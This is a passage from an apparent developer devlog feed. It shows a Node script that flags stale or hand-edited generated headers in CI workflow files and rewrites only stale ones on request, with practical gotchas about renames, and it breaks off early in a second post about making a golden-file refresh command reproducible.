&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { join } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:path&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { classify, splice } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./region.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Who we are now. The rename lives here and nowhere else.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; OPTS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { region: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;gha-header&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, version: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.2.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, generator: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ghfactory&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; BODY &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;# CI&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;# purpose: run the test suite on every pull request&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; files &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readdirSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;workflows&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((f) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;workflows&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, f)).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; apply &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; process.argv.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--write&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; stale &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; file &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; files) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(file, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { state, by } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; classify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, OPTS);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;28&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;by&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;stale&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  stale&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (apply) &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(file, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;splice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, BODY, OPTS));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (stale &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;apply) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;stale&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} stale. Re-run with --write to regenerate.`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  process.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Build three files to exercise all three states: one current, one written by the old generator, and one a human has typed inside.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; workflows&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;import(&apos;./region.mjs&apos;).then(({render})=&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;const fs=require(&apos;fs&apos;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;const BODY=[&apos;# CI&apos;,&apos;# purpose: run the test suite on every pull request&apos;].join(&apos;\n&apos;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;const tail=&apos;\non: [pull_request]\njobs:\n  test:\n    runs-on: ubuntu-latest\n&apos;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;fs.writeFileSync(&apos;workflows/ci.yml&apos;, render(BODY,{region:&apos;gha-header&apos;,version:&apos;0.2.0&apos;,generator:&apos;ghfactory&apos;})+tail);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;fs.writeFileSync(&apos;workflows/release.yml&apos;, render(BODY,{region:&apos;gha-header&apos;,version:&apos;0.1.2&apos;,generator:&apos;forge&apos;})+tail);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;const edited=render(BODY,{region:&apos;gha-header&apos;,version:&apos;0.2.0&apos;,generator:&apos;ghfactory&apos;}).replace(&apos;run the test suite&apos;,&apos;run the tests (tweaked)&apos;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;fs.writeFileSync(&apos;workflows/security.yml&apos;, edited+tail);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;});&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;workflows/release.yml&lt;/code&gt; now opens with a marker from before the rename:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# &gt;&gt;&gt; gha-header v0.1.2 sha256:07290b37df04 GENERATED by forge, do not edit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# CI&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# purpose: run the test suite on every pull request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run the checker:&lt;/p&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; check.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok      workflows/ci.yml             ghfactory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;stale   workflows/release.yml        forge&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;edited  workflows/security.yml       ghfactory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;1 stale. Re-run with --write to regenerate.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three files, three verdicts, and the exit code is 1. Note what the receipt bought: &lt;code&gt;security.yml&lt;/code&gt; claims the current generator and current version, so identity alone says it is fine. The hash says otherwise.&lt;/p&gt;
&lt;h2&gt;Regenerate the stale, leave the edited&lt;/h2&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; check.mjs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --write&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; check.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok      workflows/ci.yml             ghfactory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok      workflows/release.yml        ghfactory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;edited  workflows/security.yml       ghfactory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The orphaned block was reclaimed. The edited one was not touched, and still reports &lt;code&gt;edited&lt;/code&gt; on every run, which is the correct amount of nagging: it is a decision for a person, and the checker’s job is to keep it visible rather than to resolve it.&lt;/p&gt;
&lt;p&gt;This is the same shape as &lt;a href=&quot;https://developer.hashicorp.com/terraform/tutorials/state/resource-drift&quot;&gt;Terraform’s drift detection&lt;/a&gt;, where a refresh “displays proposed state updates without modifying actual infrastructure, giving operators visibility into drift before deciding whether to accept the changes.” Report first, write only when asked.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;The files that need migrating are not in your repository.&lt;/strong&gt; Every workflow this tool ever wrote carries the old signature until someone regenerates it, and most of them live in repositories the author cannot push to. Only the four in this repo were fixed here. Escape: ship the detector, not just the fix. A &lt;code&gt;check&lt;/code&gt; that names the stale files is the only migration you can actually deliver to someone else’s clone, and it needs to be runnable without arguments so a stranger gets a useful answer on the first try.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Some identities cannot be regenerated at all.&lt;/strong&gt; Release tags already cut keep the old prefix forever, because rewriting published tags is worse than living with two prefixes. Escape: sort a rename’s surfaces into regenerable, redirectable, and permanent before starting, and write the permanent ones into the changelog so nobody later reads them as an oversight.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Renaming the generator and updating its consumers cannot land separately.&lt;/strong&gt; The masthead body here comes from a sibling brand package, and the version of that package on the registry does not necessarily contain the emitter this release needs. Resolution deliberately prefers the in-repo checkout when one exists, because the alternative is waiting for a publish before the tests can run, which makes the two changes unlandable together. Escape: when two packages in one repository must change together, let the local copy win over the published one during development, and be explicit in a comment that this is why.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A marker a machine writes is a marker a machine must be able to parse.&lt;/strong&gt; The opening line here is a single regex with four captures, and every field is whitespace-free for that reason. The moment a title or purpose with a space lands in that line, the parser silently stops matching and every region reports &lt;code&gt;absent&lt;/code&gt;, which reads exactly like “nothing to do”. Escape: keep free text inside the body, keep the marker line a fixed grammar, and make &lt;code&gt;absent&lt;/code&gt; over a directory you expected to have regions a loud result rather than a quiet one.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/cmd/go&quot;&gt;cmd/go documentation&lt;/a&gt; — the generated-code marker convention and where the line must appear&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity&quot;&gt;Subresource Integrity, MDN&lt;/a&gt; — a content hash carried alongside content, and what a mismatch means&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/tutorials/state/resource-drift&quot;&gt;Manage resource drift, HashiCorp&lt;/a&gt; — detecting divergence and reporting it before writing anything&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/ghfactory/v0.2.0.png" length="33834" type="image/png"/></item><item><title>A baseline pinned to whatever ran most recently</title><link>https://natejswenson.com/devlog/eval/v0.2.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/eval/v0.2.0/</guid><description>A golden file is only worth what its refresh command is worth. If running the refresh on an unchanged tree produces a different file, the golden is pinned to nothing and every diff reads as drift.</description><pubDate>Sat, 01 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;This release renames the skill from &lt;code&gt;assay&lt;/code&gt; to &lt;code&gt;eval&lt;/code&gt;, and fixes something more interesting than a rename: the command that refreshes its frozen baseline was not reproducing that baseline.&lt;/p&gt;
&lt;p&gt;Given no arguments, the refresh picked the most recently modified session transcript on the machine and re-pinned the golden to that. So the declared refresh command swapped the graded run for an unrelated one, wrote a completely different golden, and left the resulting enormous diff looking exactly like drift.&lt;/p&gt;
&lt;p&gt;Every frozen-fixture setup has this failure mode available to it, and it is invisible from the passing side.&lt;/p&gt;
&lt;h2&gt;What a frozen baseline is actually pinned to&lt;/h2&gt;
&lt;p&gt;The reason to freeze anything is that the real inputs move. Grading a run reads a session transcript, which grows every turn, and a repository, which changes every pull request. Pinned against either of those directly, the golden goes red constantly for reasons that have nothing to do with the code under test.&lt;/p&gt;
&lt;p&gt;That is the same problem &lt;a href=&quot;https://bazel.build/basics/hermeticity&quot;&gt;Bazel calls hermeticity&lt;/a&gt;: “when given the same input source code and product configuration, a hermetic build system always returns the same output by isolating the build from changes to the host system.” Freezing the inputs is how a byte comparison becomes a statement about your code rather than about your Tuesday.&lt;/p&gt;
&lt;p&gt;But freezing creates a second artifact nobody thinks about: the command that unfreezes and refreezes. &lt;a href=&quot;https://approvaltests.com/&quot;&gt;Approval testing&lt;/a&gt; describes the loop as approving output as a golden master and then reviewing and re-approving when requirements change. That re-approval step is where the rot happens, because it is the one operation nobody tests.&lt;/p&gt;
&lt;p&gt;The property you need is the one &lt;a href=&quot;https://reproducible-builds.org/docs/definition/&quot;&gt;reproducible builds&lt;/a&gt; states for artifacts: “given the same source code, build environment and build instructions, any party can recreate bit-by-bit identical copies of all specified artifacts.” Applied to a fixture refresh: &lt;strong&gt;running it on an unchanged tree must give back exactly what is committed.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Build the thing, and freeze its output&lt;/h2&gt;
&lt;p&gt;A tiny version of the setup. &lt;code&gt;report.mjs&lt;/code&gt; is whatever you are pinning:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The thing under test: turns a recorded run into a graded report.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; report&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(trace) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; failed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; trace.events.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((e) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;e.ok);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lines &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `run: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;trace&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;runId&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `events: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;trace&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;events&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.length&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `failed: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;failed&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.length&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    ...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;failed.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((e) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `  - ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;why&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
